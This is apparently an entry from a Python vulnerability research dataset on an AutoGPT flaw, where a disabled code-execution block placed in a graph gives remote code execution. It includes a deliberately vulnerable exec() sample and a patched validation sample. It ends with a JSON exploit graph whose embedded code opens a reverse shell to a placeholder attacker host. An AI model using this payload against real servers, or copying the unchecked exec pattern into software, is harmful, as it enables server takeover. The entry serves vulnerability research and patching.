CVE-2026-26020
AutoGPT allows authenticated RCE by embedding a disabled block in a graph.
- CVSS 9.4
- CWE-285
- Authentication, Authorization, and Session Management
- Remote
AutoGPT is a platform that allows users to create, deploy, and manage continuous artificial intelligence agents that automate complex workflows. Prior to 0.6.48, an authenticated user could achieve Remote Code Execution (RCE) on the backend server by embedding a disabled block inside a graph. The BlockInstallationBlock — a development tool capable of writing and importing arbitrary Python code — was marked disabled=True, but graph validation did not enforce this flag. This allowed any authenticated user to bypass the restriction by including the block as a node in a graph, rather than calling the block's execution endpoint directly (which did enforce the flag). This vulnerability is fixed in 0.6.48.
- CWE
- CWE-285
- CVSS base score
- 9.4
- Published
- 2026-02-12
- OWASP
- A01 Broken Access Control
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Authentication, Authorization, and Session Management
- Subcategory
- Poorly Designed Access Controls
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- AutoGPT
- Fixed by upgrading
- Yes
Solution
Upgrade AutoGPT to version 0.6.48 or later.
Vulnerable code sample
import os
# Base class for all blocks in the system
class Block:
"""Represents a single unit of execution in a graph."""
def __init__(self, disabled=False):
self.disabled = disabled
def execute(self, inputs: dict) -> dict:
"""Executes the block's logic."""
raise NotImplementedError
# A normal, safe block for demonstration purposes
class SafeEchoBlock(Block):
"""A simple block that echoes its input."""
def execute(self, inputs: dict) -> dict:
message = inputs.get("message", "No message provided.")
print(f"[SafeEchoBlock] Executing with message: {message}")
return {"output": message}
# The dangerous development block that allows arbitrary code execution
class BlockInstallationBlock(Block):
"""
A development tool capable of writing and importing Python code.
This block is marked as disabled to prevent its use in production.
"""
def __init__(self):
# The block is explicitly marked as disabled.
super().__init__(disabled=True)
def execute(self, inputs: dict) -> dict:
"""
Executes arbitrary Python code provided in the 'code' input.
This is the source of the RCE.
"""
code_to_run = inputs.get("code")
if not code_to_run:
return {"status": "error", "message": "No code provided."}
print(f"[!!!] BlockInstallationBlock: Executing arbitrary code on the server...")
try:
# WARNING: exec() is used here to simulate the RCE vulnerability.
exec(code_to_run, {"os": os})
print(f"[!!!] BlockInstallationBlock: Code execution finished successfully.")
return {"status": "success"}
except Exception as e:
print(f"[!!!] BlockInstallationBlock: Code execution failed: {e}")
return {"status": "error", "message": str(e)}
# A central registry mapping block IDs to their corresponding class instances
BLOCK_REGISTRY = {
"safe_echo_block": SafeEchoBlock(),
"dev_install_block": BlockInstallationBlock()
}
# Simulates the API endpoint for executing a single block directly.
# This endpoint correctly enforces the 'disabled' flag.
def execute_single_block(block_id: str, inputs: dict):
"""
Handles direct execution of a block.
This function correctly checks if a block is disabled.
"""
print(f"\n>>> Attempting direct execution of block: '{block_id}'")
block = BLOCK_REGISTRY.get(block_id)
if not block:
print(f"Error: Block '{block_id}' not found.")
return
# This is the correct security check.
if block.disabled:
print(f"Access Denied: Block '{block_id}' is disabled and cannot be run directly.")
return
return block.execute(inputs)
# Simulates the graph execution engine.
# This is the vulnerable part of the system.
def execute_graph(graph: dict):
"""
Processes and executes a graph of connected blocks.
VULNERABILITY: This function fails to check the 'disabled' flag for blocks
within the graph, allowing a disabled block to be executed.
"""
print(f"\n>>> Executing graph...")
results = {}
nodes = graph.get("nodes", [])
for i, node in enumerate(nodes):
block_id = node.get("block_id")
inputs = node.get("inputs", {})
block = BLOCK_REGISTRY.get(block_id)
if not block:
print(f" - Node {i}: Skipping, block '{block_id}' not found.")
continue
# --- VULNERABILITY ---
# The code does NOT check `if block.disabled:` before executing.
# This allows an attacker to include the 'dev_install_block' in a graph
# and have it execute on the server, bypassing the restriction.
print(f" - Node {i}: Executing block '{block_id}'...")
result = block.execute(inputs)
results[f"node_{i}"] = result
print(">>> Graph execution finished.")
return resultsPatched code sample
import sys
# This code provides a conceptual representation of the fix for CVE-2026-26020.
# The vulnerability allowed a disabled, dangerous block to be used within a graph
# because the graph validation logic did not check the 'disabled' flag of a block.
# The fix involves adding this check to the validation process.
class GraphValidationError(Exception):
"""Custom exception raised for graph validation errors."""
pass
class Block:
"""A simplified representation of an AutoGPT block."""
def __init__(self, block_id: str, disabled: bool = False):
self.id = block_id
self.disabled = disabled
# A mock registry of available blocks, similar to how a real system might
# define and track available components.
BLOCK_REGISTRY = {
"some_normal_block": Block(block_id="some_normal_block", disabled=False),
# This represents the 'BlockInstallationBlock' from the CVE. It is a
# powerful development tool that is explicitly disabled for general use.
"BlockInstallationBlock": Block(block_id="BlockInstallationBlock", disabled=True),
}
class Graph:
"""A simplified representation of an AutoGPT graph, which contains nodes.
Each node in the graph corresponds to a block from the registry."""
def __init__(self, nodes: list[str]):
# In a real scenario, this might be a more complex structure, but
# a list of block_id strings is sufficient to demonstrate the fix.
self.nodes = nodes
def validate_graph_nodes(graph: Graph):
"""
Validates a graph, ensuring it does not contain any disabled blocks.
This function represents the code that fixes the vulnerability. The original,
vulnerable code would have been missing the check for `block_definition.disabled`.
"""
for node_block_id in graph.nodes:
# Step 1: Check if the block referenced by the node exists.
# This part of the validation was likely already present.
if node_block_id not in BLOCK_REGISTRY:
raise GraphValidationError(
f"Validation failed: Block '{node_block_id}' not found."
)
block_definition = BLOCK_REGISTRY[node_block_id]
# --- THE FIX for CVE-2026-26020 ---
#
# Prior to the fix, this check was absent. The system would allow a graph
# containing a 'disabled' block to be processed, leading to RCE.
# By adding this check to the graph validation logic, the 'disabled'
# flag is now enforced, preventing the vulnerable block from being used.
#
if block_definition.disabled:
raise GraphValidationError(
f"Validation failed: Attempted to use disabled block "
f"'{node_block_id}' in the graph. This is not allowed."
)
# If the loop completes without raising an exception, the graph is considered valid.
# In a real application, this function would be called before any graph
# execution or deployment step.
return TruePayload
{
"name": "exploit-graph",
"description": "RCE via disabled block",
"nodes": [
{
"id": "a1b2c3d4-e5f6-7890-1234-567890abcdef",
"type": "BlockInstallationBlock",
"data": {
"code": "import os; import pty; import socket; lhost = 'ATTACKER_IP'; lport = 4444; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); pty.spawn('/bin/sh');"
}
}
],
"links": []
}
Cite this entry
@misc{vaitp:cve202626020,
title = {{AutoGPT allows authenticated RCE by embedding a disabled block in a graph.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-26020},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-26020/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
